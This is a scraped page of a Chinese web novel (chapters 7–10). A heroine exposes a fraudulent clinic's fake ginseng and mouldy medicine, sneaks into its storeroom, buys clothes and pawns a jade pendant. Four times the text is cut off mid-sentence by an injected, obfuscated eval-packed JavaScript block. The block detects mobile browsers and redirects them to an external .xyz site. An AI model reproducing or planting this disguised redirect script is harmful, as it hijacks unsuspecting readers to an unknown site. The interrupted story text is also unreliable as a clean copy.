;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156625|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻到了人参的香气,这是参王,要是能含一片在嘴里,我觉得我能升天。”
“你做青天白日梦呢,这等极品岂是我们能买得起,饱饱眼福得了。”
“此言差矣!”蔡洪适时向前踱了一步,中气十足道:“此参乃我历经千幸万苦从深山老林寻得,遇参时天有异象,万鸟起飞,非同凡响,这参定有延年益寿、百病消除之效。”
蔡洪每说一个字,惊呼便高一分,人群目光中的渴望都要望穿装参的琉璃罩子。
“今日我蔡某人就要这百年难遇的参让咱们平头百姓也吃得起!”
此言一出,百姓欢呼。有人激动就有人质疑,这么好的东西怎么让平民百姓吃得起,他当即问出口:“真的假的,这参真有什么神奇?”
蔡洪却丝毫不慌,负手而立,缓缓道:“我可以邀请一人上来仔细看看,辨别辨别这参如何。”
人群中有一男子收到眼色正要出列,却乔瑢抢先一步往外一跨,“我来!”
蔡洪脸色有一瞬间的变化,不过依然和颜悦色地问道:“姑娘可通医理?”
“不通医理但我有些见识。”乔瑢说着不容蔡洪拒绝就走到琉璃罩前,一根短粗白嫩的人参躺在里面,这分明……
“那参怎么样?”有人迫不及待的问。
“这参……这参可真参啊。”乔瑢挠挠头,这天郸镇可真是人才辈出。
“姑娘这是什么意思?”蔡洪脸色不变。
“这参呈圆柱形,参须又密又短,绝对不是什么千年人参。馆主当真是亲自去林里挖的?莫不是被人骗了。”乔瑢尽量说得委婉了点。
“胡说!”蔡利站出来维护父亲,“我可以作证父亲是亲自在老林中挖得这根参,你既不懂医为何胡说来污蔑回春堂,我看你是存心上来捣乱的。”
人群中立马有人附和,乔瑢扫一眼便知道这里面也有他们的人。看蔡洪的神色,两父子怕是狼狈为奸、早通了气。应该是一个唱红脸一个唱白脸,那个蔡利一脸凶样,蔡洪还是一脸和气。
眼看蔡利要喊人上来赶她,乔瑢立马服软准备开溜。“这只是我的一点拙见,望馆主莫怪。”
转头去寻找祁归青的身影,结果哪还有他的影子,她人单势薄,不宜硬碰硬,反正她质疑过总会有人听进去长个心眼。
“不用赶我,我自己走。”乔瑢灰溜溜离开,眼神扫过回春堂内一张张面孔,苍白的、绝望的、无神的、虚弱的,她的这一点小提醒在这些人眼里激不起一点波澜,他们想要生、想要大病痊愈。
出去有众人给她让道,比挤进来容易多,蔡洪又重新请了一位上去,乔瑢不用看就知道这位也是个托儿。
她出来没看见祁归青,倒是发现他回了对面茶摊。乔瑢拿起茶杯一饮而尽,对面正好传来蔡洪的声音。
“千年人参只卖五两银子一片!”
五两银子一片,那大肥参不得二三十片,这钱真好赚。若是卖给富商权贵也就算了,今日这出戏分明是用来诓骗平民百姓的。
乔瑢是又气又无可奈何,但今日她既然来了,总要有所收获。她放下茶杯,“走,跟我去个地方。”
祁归青一头雾水,难道是那个叫系统的派了新任务,见他磨磨蹭蹭乔瑢付了茶钱,立马站起身道:“这回跟紧了,不然用到你时你就不在。”
果然,原来是有用到他的地方,祁归青耐心问道:“需要我做什么?”
乔瑢暂时没回答,一个计划在心中成形,只道:“凡事须得提前筹谋,方能万无一失。”
8. 第 8 章
“我们要去偷东西?”
祁归青看着乔瑢再也说不出第二句话,这人怎么什么都做得出。
“你去不去?”乔瑢跟他解释不清,也没打算解释,“又不是让你一个人去,我只是让你进去帮我放风,东西我来偷。”
祁归青再次看向窗内,听乔瑢说这里是回春堂屯放药材的地方,而窗内入眼便是成箱的“千年人参”,他乍一看有些吃惊,百年难得一遇的千年人参就这么摆放一地,的确令人震惊。不过他更好奇的是,乔瑢为什么要偷这个。
这里相当于回春堂的后院,窗子后面能过来除了乔瑢没人知道,窗户不难打开,她捡了根棍子一撬就开。
乔瑢率先翻了进去,祁归青有样学样,他个头高腿长更容易。只是手撑住窗台时,一阵刺痛袭来,他捂住手腕,却是一声没吭。
乔瑢半弯着腰,拉着祁归青让他待在正门背后,压着声音嘱咐道:“你就在这,耳朵给我竖起来,可千万别走神。”
看着一屋子的“千年人参”来不及感慨,乔瑢本应该拿到一盒就走人,但是却被堆在角落里的药包吸引了注意力。蹑手蹑脚走过去,拿起一个药包,凑近闻起来格外苦涩,还有一丝酸味夹在其中。
突然,一串由远及近的脚步声打破了寂静。
乔瑢抬头见祁归青快速朝她走来,两人二话不说一同朝着窗户去,可是钥匙插入锁孔的声音就在耳边,他们已经没时间翻窗户逃走,一定会被发现。
情急之下,乔瑢目光扫过四周,几乎无处可藏。忽然,她瞧见房间内最大的药柜与墙之间有个夹角,那是他们唯一可以躲藏的地方。
乔瑢没有丝毫犹豫,拉着祁归青挤进那个逼仄的夹角。
房门被打开,蔡利领着两个伙计进来,各自吩咐道:“你去拿两盒人参去切片,你去将宋家公子的药材按照药方取了药材,再包装的精细点。”
蔡利站在门口未动,两个伙计进来取药材,没发现异常。
乔瑢和祁归青紧紧相贴,她的脸几乎埋在祁归青的胸膛,感受到他的心跳规律稳定。浓重的药味弥漫在整个房间,祁归青衣裳下的体温炙烤着乔瑢,她深吸一口气,正好呼出去的时候,“哐当”一声,她觉得快要不能呼吸了。
“干活仔细点。”蔡利骂过去,那个伙计连忙将掉在地上的盒子捡起来。
过了一会儿,门重新关上。落锁的声音传来,直到脚步声消失。
乔瑢长长地吐出一口气,两人轻手轻脚地从夹角里走出来。乔瑢靠在桌前喘气,刚刚祁归青将她挡了个严严实实,紧张之下竟然觉得空气都稀薄了几分。抬头又发现祁归青盯着她看,便直言道:“看什么,我也是第一次干这种事。”
“哦,我还以为你经常干,一点都不会慌张呢。”祁归青移开目光,也悄悄吐出一口气,刚刚两人离得极近没什么感觉,怎么这会儿分开了,他倒觉得有些热。
乔瑢扯出一个没感情的笑,道:“你也好不了多少,擦一擦脑门的汗吧。”
闻言,祁归青抬起左手,忘记他的手断了,犹如被折断的花枝一般垂着头,只能另一手执起衣袖擦了擦汗。
“此地不宜久留。”乔瑢赶紧拿了一盒人参抱在怀里,开窗、翻窗一气呵成,她站在窗外,见祁归青过来,自然地伸手去扶他,借着她的力祁归青的手腕减轻了些痛楚。
乔瑢还是发现了不对劲,拉过他的左手,问他:“你的手怎么了?”他这种状态她之前见过,就是祁归青双手被椿娘折断那次,今天怎么好好的断了。
“如你所见,断了。”祁归青不知道怎么解释,乔瑢也来不及细想,两人顺着原路回到西街。
这么一盒人参拿在手中过于显眼,正好他们也需要买几套衣裳,于是就进了一家成衣铺子。
各色各样的成衣挂满整个铺子,进门便香味扑鼻,却不让人生厌。这家老板品味不错,乔瑢觉得来对了地方。
几个衣着鲜艳的女子围着一匹缎子笑语嫣然,老板娘正陪着她们说笑,见有客上门打了声招呼就往乔瑢这边走来。
乔瑢还以为要等她们选好才能来招呼她,看样子这家店不看人下菜碟,所有顾客都会招待。
“看姑娘面生,是第一次来我店里吧,我叫青娘,是要裁布还是要买成衣?”
若是裁布做衣肯定要合身些,不过乔瑢现在着急穿,便道:“先看成衣,有没有合适我俩身材的成衣?”
青娘扫过乔瑢周身,目光在祁归青不合身的旧衣上打了个转,心中便有数,说道:“姑娘身形的成衣好找,只是你……你身后这位怕是不好找到合身的。”
“那就先拿几套我的来看看,不要太贵也不要太便宜。”
青娘应了一声,在铺子里转了几圈就拿来了衣服。乔瑢一一问了价格,最后五两银子选了两套,在她预算之内。“再拿几件男子成衣来看看,要粗布,越便宜越好。”
先前选布的那几位小姐将青娘唤过去,她们一人选了一匹,付了钱后经过乔瑢和祁归青,朝他们投去好奇又夹杂着鄙夷的目光。
那一瞬间祁归青仿佛回到了寻香楼的那日,下意识绷紧下颌,他像是丫鬟怀里抱着的布,任人评价挑选。
乔瑢向他移了半步正好挡住那些人的目光,手在祁归青眼前晃了晃,“发什么呆,快去选衣服。”
祁归青回神,松塌的脊背直了几分,目光扫过青娘手上几套衣服,没什么所谓,淡淡道:“都可,我穿什么都行。”
乔瑢只好走向前选了两件深色,不由地想到初见祁归青时他一身素色,给人一种茶里茶气的弱美人之感。
青娘提醒道:“这两件穿在他身上有些过于宽松。”
“这样么。”乔瑢思索一番,决定道:“那就先买一套,就用这个布料给他做一件就是,就是要量尺寸是吧。”
乔瑢拿着量尺转身朝祁归青走去,祁归青第一次与她对视这么久,门外的车马声变得模糊,乔瑢的脚步仿佛压在他心跳上。
就在两人仅一步距离时,乔瑢看着祁归青这张脸,想到什么,迅速移开不想再看,将量尺交给了青娘,对祁归青说:“你不会以为我要帮你量尺寸吧,专业的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156626|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事要交给专业的人来做。”
祁归青脚步微动,本能地后退抗拒,生怕青娘的手接触到自己,下颌再次绷紧,他想立马跑出成衣铺子。
青娘开成衣铺子五年,善于察言观色,她知道祁归青不想,可是生意要做,她只能硬着头皮上。
“等一下。”乔瑢出声,“就要那一灰一蓝两套,重新裁量新做确实有些等不了。”
青娘也松了口气,“行,这两套只收你一两银子,加上你的两套,总共六两。”
换作他人,乔瑢就要强人所难又何妨,只是她刚刚清晰地看见了祁归青眼中的厌恶,这次就大发善心地不为难他了。
这边两套五两银子,那边却只有一两,明眼人都能看出来区别。乔瑢没意见,青娘没有,祁归青本人更是没有,倒是进来的客人听到价钱有了意见。
“这姑娘给自己买贵的,居然给夫君买那么便宜的,那是人能穿的吗。”一男子为祁归青鸣不平,对一同进来的妻子说道:“我绝不会给你买一两银子两套的衣裳,我有五两定会为你花二两。”
乔瑢见那女子笑得很勉强,本不想搭理,可她刚刚在回春堂吃瘪,正好是脾气不好的时候,于是她大胆出声:“你也好不到哪儿去!”
那男子没想到她嗓门这么大,被吓了一跳,又听见她说:“为了博你妻子开心,有五两花五两不是应该的吗,她不让你干什么你就不能干,而不是她不乐意来这里,你就强拖着人进来,装货!”
男子反应过来自己好像被骂了,怒上心头,指着乔瑢:“你凭什么说我,你还给他买一两银子两套的衣裳呢!”
乔瑢笑了,跟这种人说不通,简直就是在浪费她的口水,拉过祁归起,道:“他,只是我家的下人,莫不是你拿自己的妻子与下人比较?”
“你!”男子左顾右看,一张脸又红又白,想走又觉得憋屈,想说又说不出什么来,最后看向自己的妻子,像是找到了台阶似的,道:“夫人受惊了,咱们不与她计较,今日你看上了哪套我都给你买。”
“哦?这么好看的……下人?”青娘惊讶出声。
“嗯!”乔瑢用力点头,余光看到那女子走到了最贵的丝绸布匹前面,心中甚是满意,“每个人的爱好不同嘛,我就喜欢长得好看的人,心情好。”
“你眼光真不错,我在这里开店五年,他可是我店中遇到的最俊的。”青娘压低声音凑近轻声,说了一句:“只不过他看上去心思深沉,心中有事。”
乔瑢真想夸一句老板娘认人真准,她也压低声音与青娘耳语,准备撒个小谎言,“您说对了,他这样貌沦落为下人,心中总归是不甘的。”
听乔瑢这么一说,再结合祁归青脸上没好的伤,青娘有了猜测,她道:“男人嘛自出生就带了几分傲气,不过他既然在你手上做事,就不能让他这么傲下去。该打打该饿饿,长得好看也得认清谁是主子谁是奴。”
“嗯嗯。”乔瑢胡乱点头,没想到铺子老板娘还会这一套。
祁归青眸光微动,他想起来,这里是西街,或许根本没人认识他。
9. 第 9 章
一个妇人抱着一个孩童被拦在回春堂外,蔡洪居高临下望着,道:“这咳嗽是慢病,须得慢慢调养,你又只能买得起便宜药,药效慢自然就好得慢。这样,你多买几副回去慢慢喝,你小儿的病会好的。”
妇人看着自己怀里的孩子,擦了擦眼角的泪,思量之下,咬牙从身上掏出一个破旧荷包。
蔡洪掂量荷包的重量,招手过来一个伙计,悄声与他说了一句,伙计收了钱转身回屋里拿了几包药出来,直接给了那妇人。
乔瑢在远处看着,只觉得那药包好生眼熟。
先前围在回春堂看热闹的人群此刻都散了个七七八八,只有几个进出看病的,乔瑢怕被认出来没有上前。
“你说带我看大夫,要去这家么?”祁归青在背后出声,手上多了一个包裹,是他们刚买的新衣裳,还有藏在里面的一株人参。
“当然不,这家心黑坑钱,要是给你手治毁了怎么办。”乔瑢总觉得要返回来看一眼,这不,又有新收获,这下她心情彻底阴转晴,转过身关心起祁归青,“你的手还坚持得住吗?”
祁归青看她两眼,不确定她是不是真的关心自己,回道:“已经不疼了。”或者说是疼得麻木了,这只手反正他是没知觉了。
“等我一会儿,马上回来。”乔瑢说完就跑了出去,正是刚刚门前买药妇人离去的方向。
一盏茶的功夫,乔瑢再次跑回来,主打就是一个快去快回,她大口喘气道:“走,我带你去另一家医馆。”
祁归青看她脸色泛红,汗浸湿额头,也不说缓一会儿紧接着要走,只能默默跟上她。
百草堂的牌匾挂在朴素的门楣上,与回春堂的豪华不同,此处为西街最偏僻之地,建筑简陋,却是悠闲清静很适合病人休养。门口有一棵老槐树,正值花期,浅白微绿的槐花掩衬在绿叶之间,槐香四溢。
进门脚下是坑洼不平的青砖地,白灰墙,老木桌,十分朴素却打扫得干干净净的诊室。馆内总共就两人,一个年岁不大的正站在药柜前整理,另一位年老者坐着看医书。
有人进门百草堂的主人刘自秋放下书,连忙上前询问:“可是看病,哪里不舒服?”
祁归青看了眼乔瑢,将自己的左手伸出,刘自秋一瞧就赶紧将人请到一旁坐着。示意祁归青将手放在脉枕上,刘自秋的手指干燥,动作极轻,沿着手腕轻轻按压,一边说着:“旧伤未愈,又添新伤。韧带也伤了,受过伤?”
仅凭触诊就看出要害,祁归青不知道在想什么,乔瑢便替他说道:“他双手被人折断过一次,接好才没几天。”
“一次?我看不止吧。”刘自秋道。
“什么?”乔瑢愣在那里,一时没反应过来,在他们相见之前,他……
刘自秋一手稳住祁归青的胳膊,另一只手托住他手掌,一扭一送,刺痛伴随着一声脆响,错位的关节恢复原位。
自始至终,祁归青除了皱眉忍痛,其他反应都很平常。
“好了。”刘自秋松开手,“不过你这往后会更容易脱臼,切记不可提重物,不可突然发力。”
祁归青沉默,这下真如她所说,手不能提肩不能扛了。他收回手,发现乔瑢突然时不时看向门口,她道:“谢谢大夫,诊金多少?”
刘自秋摆摆手,道:“不用,下回脱臼了再来找我便是。”
乔瑢眉头微皱,很快松开,继续道:“不需要内服汤药么?或者有什么外敷药膏止止痛。”
刘自秋顿了顿,笑道:“你这姑娘非要在我这花钱才行么,可以开一副汤药固筋骨,止痛就不必了,你问问他现在还痛不痛,我的接骨技术我清楚。”
乔瑢当真看向祁归青,确认他的确不痛之后,于是点头:“开药。”
刘自秋只好提笔写方子,写好后交给徒弟,吩咐道:“家宝,按方子抓药。”
乔瑢一边问价一边拿荷包,却摸了个空,她脸色微变,惊呼一声:“呀,我的钱包哪儿去了?”
三人纷纷看向她,乔瑢还在翻找着,可就是不见荷包的踪影,众人便知大概发生了什么。只是祁归青发觉有些奇怪,但还是配合着她一起找,暂时将疑惑压在心底。
见此情景,刘自秋想了想,指了指桌上一本册子,道:“如果你还要开药,就先记着,下回来时再给我就成。”
“这怎么成,我可不赊账,我记得我带了荷包,可能是掉在哪儿了,我想想。”
乔瑢不肯接受刘自秋的建议,故意拖着时间。终于,门口传来一道女子声音,犹如天籁,“姑娘,我可找着你了,你的荷包掉了。”
乔瑢停下动作,不再假装找东西,她的唇角在无人看见的阴影里缓慢勾起一个弧度,又在转身之际消失不见,眼中只剩下惊喜,道:“是你?难道……”
妇人手上拎着四个药包,背上的孩童安静地闭着眼,她擦了擦手上的汗,将一个荷包拿了出来,向前递出去。
“这正是我的荷包。”乔瑢起身去迎她,“天这么热,你找过来肯定不容易,快坐着歇一歇。”
张家宝适时搬了个凳子出来,妇人看着几人摆手拒绝,“荷包还你,我就不坐了,我还要赶回去给孩子煎药。”
“等一等。”乔瑢叫住她,眼珠转了转,目光落在她背后的孩子身上,又转到她提的药包上,问道:“你孩子生的什么病,吃的什么药,我怎么觉得你这药材闻着有点酸。”
那妇人一脸懵懂,这药材酸或甜她也不懂原由。
“我来看看。”刘自秋一听就立马走过来,妇人甚至来不及拒绝,乔瑢在一旁安抚她:“让大夫看看,你先放下孩子坐一会。”
“这药材的确有问题。”刘自秋一闻便知道,“这几副药材都已受潮,甚至有的可能已经发霉,你这是从哪儿买的药?”
妇人一听懵了,屁股刚挨上凳子又立马站起来,如实道出:“就……就在回春堂买的。”
刘自秋绷着一张脸,显然是气着了,但他仍然理智地同妇人说道:“我来给孩子把个脉。”
手指搭了一会儿,刘自秋又当着众人的面拆开药包,发现药材已有发霉的迹象,顿时气到脸颊鼓起,愤愤道:“药方没有问题,只是药材已受潮,药效会缩小甚至没有,你小儿这病一副药下去就能痊愈,哪还需要喝这么多,简直耽误时间耽误病情!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156627|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻言,妇人眼前发黑,刚坐下又差点从凳子上滑下去,被乔瑢扶起来后挣扎着去拆剩下的药包,无疑全都受潮一股酸味。当即要拿着这些药去找回春堂,被乔瑢拦住。“你只身一人恐怕去了也讨不到好处,他们人多势众,不仅药钱拿不回来,可能还要受伤。”
“那我该怎么办?”妇人泣不成声,如今药没了,她也没有钱再买。
“刘大夫,麻烦给她重新抓一副药,钱我付了。”乔瑢当即说道,妇人连忙摇头,为了让她心安理得地收下,乔瑢只好说道:“就当是你送还荷包的报酬,好人有好报,这是你应得的,为了孩子你也得收下不是。至于这些受潮的药材,我还要从你手中买下,它们都是证据,我留着有用处,回春堂这么做迟早会自我反噬。”
“姑娘真是人美心善,家宝,去抓药。”刘自秋也不墨迹,当即将两张药方交给张家宝,妇人拿了药和钱,万般道谢过后才离开。
一想到回春堂做的事,刘自秋还是气不过,“这回春堂什么来头,老夫我活这么久只见过奸商,还没见过奸医,为医者怎能如此?”
乔瑢心想,要是再告诉他一片五年不到的人参卖五两银子一片,那还得了。回春堂行的不是医,而是商,叫他奸商也未尝不可。
乔瑢接过祁归青的药,将拆开的药包重新包好,刘自秋实在好奇这些证据怎么发挥作用,他问乔瑢:“你打算怎么做,说与老夫听听。”
乔瑢笑笑,并不打算多说,只说:“这以后的事谁知道,你们是同行,反正到时候都会知道的。”
“好,我就等着看他们的下场。对了,姑娘我教你接骨如何?不难,我看这后生的手腕以后免不了经常性脱臼,你学了帮他就成,省的往我这跑。”刘自秋见这姑娘机灵,他也是诚心建议。
“我……我吗?”乔瑢没想到她还有学医的一天。
从百草堂出来,乔瑢还在练习着刘自秋教他的动作。
祁归青借机问出了自己想问的,“没想到丢了的荷包还能找回来,这世道真有如此之巧的事情吗?”
乔瑢眉头一挑,想到一些遥远的事情,道:“当然!不过有些巧合可以是人为,也可以是自然发生的。当你以为是巧合,其实有迹可循,不到最后你根本不知道自己身处于怎样的算计之中。”
祁归青头一次盯着乔瑢的眼睛这么久,试图看透其中隐藏的东西,这时他也发现一般时候他是听不见她心声的,只有与那个系统的对话他才能听见。
她到底是什么人,为何他是任务之一,还有太多他不理解的事,他都想知道,这也是他现在活着的唯一乐趣。如果他向她坦诚,她会告知这一切吗?不会,她会将自己赶走,更有可能会灭口。
【滴——系统发布新任务:帮助苏黛救回项天恒,奖励五十两,积分+50】
乔瑢的眼睛立马变成金钱状,不愧是书中男主,身价就是值钱。今天买衣服和买药就已经花的七七八八,这不来钱了嘛。
与乔瑢同时听到系统任务的祁归青身体瞬间僵硬,脸上平静的表情也维持不住,他为什么会听到这个名字,他为什么会出现在这里,为什么……
10. 第 10 章
苏黛照常在主屋编竹篮,中午煮了玉米,往常这个时候晓晓该醒了,今日不知为何,卧房却迟迟没有动静。苏黛一阵心慌,放下竹篮奔向卧房,晓晓躺在床上已经不省人事。
急忙喊了牛叔,将人送到镇上回春堂。当时喊不醒晓晓时,苏黛心都沉到了谷底,一直到了回春堂都没缓过来。
回春堂的大夫简单把了脉,便说没什么大碍,好好休息再开点药回去煎服即可。苏黛还想问病情,那大夫只说不打紧,晓晓这病只能慢慢调养喝药,别的也说不出所以然来。
晓晓醒来便喊饿,苏黛决定去买两个肉包,又放心不下放晓晓一个人在医馆,正纠结犹豫之际,就听见馆内伙计正在怒喝:“没银子你来看什么病,快走别捣乱!”
那个男子脚步不稳已有些站不住,脸色惨白,颤颤巍巍地从怀中拿出一块玉佩递出去,谁知伙计一看那玉佩根本不买账,还将他无情推出回春堂的大门,一脸厌烦地说道:“本馆只收金银钱财,你当了这东西再来吧,真是浪费时间。”
苏黛收回目光,她此刻的处境根本无暇管其他,她只有她自己,想了想还是要出去买肉包。安顿好嘱咐好晓晓,她走出大门,发现刚刚被赶出去的男子倒在了回春面前的地上,她如今自身难保,口袋的银钱给晓晓看病都不够,根本没法再救其他人,只能狠了狠心不打算多管闲事,装作什么都没看见从他旁边走过。
只是没想到,那男子的求生意志十分强烈,竟然伸出两只手来扯住她裤脚,苏黛猝不及防,反应过来后奋力挣扎,试图用手指用力掰将人掰开,可惜竟然没能挣脱开。
“救我……”男子身上衣物干净,除脸色难看根本看不出生了什么病。他的手因紧紧拽住苏黛裤腿,手背青筋暴起,就是这时苏黛突然发现他袖口处竟然渗出鲜红的血。
苏黛挣扎时出了一身汗,周围只见看热闹的,没人上前帮她,焦急之下只能咬牙应下:“好,我帮你。”
【项天恒提前到达天郸镇,苏黛现在还在忙于生计,没有能力救下并且带回姚家村,所以需要玩家辅助。】
乔瑢一边听着系统的声音,一边朝着回春堂赶去,她已经让祁归青带着东西先回姚家村,她现在独自去找苏黛和项天恒。
原剧情中苏黛的生意有了起色后才遇到受重伤的项天恒,现在相遇的时间提前,苏黛根本没有能力救下项天恒,没了这层救命之恩,项天恒的感情中少了依赖与感恩,才有了后续的各种误会责怪。
乔瑢要做的就是维持原剧情的发生,让苏黛救项天恒并留在身边,防止黑化世界剧情发生。
这么多天终于进入了主线,乔瑢现在就是不知道回春堂那边什么情况,他们二人有没有相遇,项天恒重伤到什么程度。但是崩坏的剧情什么都有可能发生,不能只依靠预想,乔瑢早已准备好随机应变。
正想着乔瑢已经到达回春堂,正巧在大门口碰见买包子回来的苏黛。乔瑢先是假装惊讶,再开口问起:“你怎么在这,是晓晓出事了,她怎么了?”
不知怎的一看见乔瑢,苏黛的心就安定下来,她拉着乔瑢,一边往回春堂里进,一边将今日的事讲了。
苏黛以最快的速度买了包子,跑着往回赶,就是不放心晓晓一个人在医馆,好在回来时晓晓已经醒了,看见乔瑢甜甜地叫了声“乔姐姐”。乔瑢拉拉她的手,苏黛将买回来的包子给晓晓,晓晓看见肉包,又高兴又好奇,她从没吃过肉包,不知道肉包什么味道。
苏黛又将乔瑢带到另一边,乔瑢看见一个男子,他的外衣已被脱下,里衣血痕遍布,嘴唇惨白紧闭着双眼。乔瑢十分从容地看着昏迷不醒的项天恒,目前事情还不算太棘手。
可是她此刻也只是装作疑惑地看向苏黛,苏黛解释说:“他受了重伤,我将仅剩的钱拿出来也只够给他止血。”
乔瑢问:“那你还要救他吗?”
“我是无法见死不救,但是他怎么能与晓晓相比,我只能帮到这了,后续他被赶出医馆也好,都与我无关。”苏黛似乎下定了决心。
果然,权衡利弊之后,苏黛并不打算救项天恒,好在乔瑢早就已经想到法子,并能两全其美。
“我有办法。”乔瑢靠近苏黛,凑着她耳边低声说道:“我观他手里那块玉佩特别值钱,或许能帮你我度过难关。”
苏黛很聪明一下就明白乔瑢所说何意,若是让那男子以玉佩交换,当了银钱,不仅能帮他看医就诊,还能借以她急用。若靠她慢慢赚钱,晓晓的病不一定能撑得到那天。
“你可真是个天才!”激动之下,苏黛连现代用语都脱口而出,乔瑢只能假装没发现。
苏黛的目光重新落在项天恒攥住的玉佩上,而她不再犹豫,上前就去掰他的手指。她用了些力气才将玉佩抠出来,想到刚刚听到他与伙计的对话,这玉佩应当很重要,是他现在的救命稻草。
看着苏黛果决的模样,乔瑢很欣慰,她拉住转身要走的苏黛,道:“你留在这里照看晓晓,当玉佩的事我去。”
乔瑢拿上玉佩,还没走出回春堂,身后响起一道熟悉的声音。
“你怎么又来了,还想捣乱不成?”蔡利的语气十分不善,显然已经认出乔瑢。
“我现在没功夫跟你东扯西扯。”乔瑢头都没回,显然不想理对方,却不想那蔡利不是个好相与的人,他让店内伙计堵住乔瑢的去路,得意地站到她面前,十分欠揍。
“上午让你跑了,没想到你自投罗网,以为我回春堂是这么好进的么。”
“我不过说了几句话,就让你这么放心上,心眼也未免太小,看来你跟着蔡大夫,这医学得也不怎么样嘛。”乔瑢不怕他,她现在有要紧事做,不想与他过多纠缠,反而向他走近,道:“不知道是蔡洪的原因,还是你的问题。”
蔡利瞬间暴怒,双目怒瞪,乔瑢斜看他一眼,最后一次说道:“让开。”
“惹了我你还想走不成?来人,把她拖到后院,我要请她喝茶!”蔡利压下心中怒火,他再生气也不会在众目睽睽之下去闹事,但他也不会饶了她。
可是乔瑢不会乖乖任凭他们将自己带走,她看着蔡利,突然说道:“你多久没回去了?你爹娘对你可是甚是想念。”
就在那一瞬间,蔡利的脸色又红转白,所有的怒气变成惊惧,他的胸膛剧烈起伏,竟直直咳嗽起来。“什么爹……娘,咳咳,我只有爹,我在爹身边过得好好的,什么……想念不想念的,你别要胡说!”
对于蔡利的反应,乔瑢很是满意,“我真想捣乱的时候,你还有心情在这在找别人麻烦吗?”她手臂往胸前一抱,轻飘飘看他:“现在我能走了吗?”
蔡利这下哪还敢作声,左右看了看,生怕她再说出什么被父亲听到,冲着乔瑢的背影说道:“不管你是谁,管好你的嘴巴。”
达到想要的效果,乔瑢也不会多说,出了回春堂就直奔东街,以项天恒这块玉佩的价值,西街必然是没有当铺能收。
“死
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156628|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当。”没有过多的话语,乔瑢将玉佩轻轻放到柜台上。
柜台后一张五十上下的脸探出,是这家当铺的掌柜的,一眼便看出这玉并非凡品,他拾起玉佩握在手中,更是确信自己没看错。
掌柜的眯着眼睛仔细摩挲着玉佩的每一块细节,突然脸色一变,眼珠转动之后将玉还了回去,并道:“不收。”
两人之间并没有过多的谈话,不过在乔瑢的意料之中,项天恒的东西当铺不敢收正常,她故意再次问道:“掌柜的不再看看么,真的不收吗?”
掌柜的摆手摇头,毫无商量,还是那句话:“不收。”
乔瑢不再纠缠,利索地揣上玉佩离开。东街不止这一家当铺,既然不收,那她就换别家。
一炷香的时辰后,乔瑢看着旗帘上“石记当铺”四个字,再次走了进去。
“你怎么又来了。”
乔瑢不紧不慢地将玉佩递过去,道:“我出去逛了一圈,还是觉得只有掌柜的您这才能收我的东西,石掌柜,再瞧瞧吧。”
石掌柜皱眉,却是不敢再碰那玉佩,重新堆起笑容,试探道:“姑娘,你这块玉是好玉,材质雕工都不错,只是这来路……姑娘可否说明啊?”
“来路干净,是我的一位朋友,遇到了难处,托我来当了换钱。而且它只是一块玉并非身份象征,掌柜的在害怕什么。”乔瑢十分平静,眼神坦荡,倒显得石掌柜心虚。
石掌柜定了定神,再次拿起玉佩,真是一块好玉啊,细腻如脂,他都有些爱不释手。不过他面上还是一副为难的模样,虽如她所说这玉一无刻字,二无龙纹,但这雕工的确非民间所有,价值不菲。“你准备当多少钱?”
“五百两。”乔瑢没有过多思考。
石掌柜下意识张口就要还价,乔瑢立马道:“不还价,我若是有闲心,开口就不会是这个价。”
石掌柜虽皱眉,但这个价格若是死当,那他绝对赚翻了,到嘴的肥肉哪有不吃的道理,“行,五百两就五百两,是死当?”
“不,我要活当。”
石掌柜急了,仿佛到嘴的肥肉顿时小了一圈,忙道:“先前你分明说的是死当,怎么这会儿变活当了?”
“机不可失时不再来,良机一失,岂有再得的道理。”乔瑢从容不迫,随时准备收回玉佩,“活当,一年之内赎回。”
石掌柜无法,两人约定好当金、利息和赎期,当场签字画押。乔瑢收好当票和银票,了了一桩事,唇角微扬,起身临走前朝石掌柜说道:“掌柜的,下次有机会再合作。”
